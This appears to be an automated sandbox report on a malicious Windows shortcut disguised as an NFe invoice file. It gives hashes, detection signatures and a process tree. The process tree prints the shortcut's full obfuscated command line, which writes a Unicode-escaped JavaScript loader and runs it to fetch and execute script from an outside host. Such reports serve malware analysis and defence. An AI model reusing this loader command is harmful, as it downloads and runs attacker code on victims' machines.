Analysis

  • max time kernel
    28s
  • max time network
    31s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    08-05-2023 07:55

General

  • Target

    NFeXMLON9DR52O9FKTWO7FQUEO37J4S5B9DE324265780.543546.09296.lnk

  • Size

    957B

  • MD5

    46beef4c7f71313c133f7dd4c186cc02

  • SHA1

    c11af67ddfd2ee687e37d2444b0e2f3793ed2df6

  • SHA256

    15fd957d305f9f103bb21444b26726d4f18915ba23221b82f34b1b5ba8a4a163

  • SHA512

    c6c69130445bda6cabe0b5934a8e8534407b6e340ea5ba801bbe33b31eb48bf122cc257817dc4c5ee8bd3e52ce4cf9ba3955d8bdef1a9dd80c070584244a869b

Score
3/10

Malware Config

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\NFeXMLON9DR52O9FKTWO7FQUEO37J4S5B9DE324265780.543546.09296.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2024
    • C:\Windows\System32\conhost.exe
      "C:\Windows\System32\conhost.exe" C:\Windows\system32\cmd.exe /V/D/c "md C:\jTRXQW9\>nul 2>&1 &&s^eT FMGR=C:\jTRXQW9\^jTRXQW9.^Js&&echo eval('\u0076\u0061\u0072\u0020\u0043\u004b\u006c\u006a\u003d\u0022\u0073\u0022\u002b\u0022\u0063\u0072\u0022\u003b\u0044\u004b\u006c\u006a\u003d\u0022\u0069\u0070\u0074\u0022\u002b\u0022\u003a\u0068\u0022\u003b\u0045\u004b\u006c\u006a\u003d\u0022\u0054\u0074\u0022\u002b\u0022\u0050\u003a\u0022\u003b\u0047\u0065\u0074\u004f\u0062\u006a\u0065\u0063\u0074\u0028\u0043\u004b\u006c\u006a\u002b\u0044\u004b\u006c\u006a\u002b\u0045\u004b\u006c\u006a\u002b\u0022\u002f\u002f\u0076\u0065\u0069\u0061\u0065\u0067\u002e\u0063\u0061\u0062\u0065\u0063\u0061\u002e\u0074\u006f\u0070\u002f\u003f\u0031\u002f\u0022\u0029\u003b'); >!FMGR!&&ca^ll !FMGR!"
      2⤵
        PID:1228

    Network

    MITRE ATT&CK Enterprise v6

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    Downloads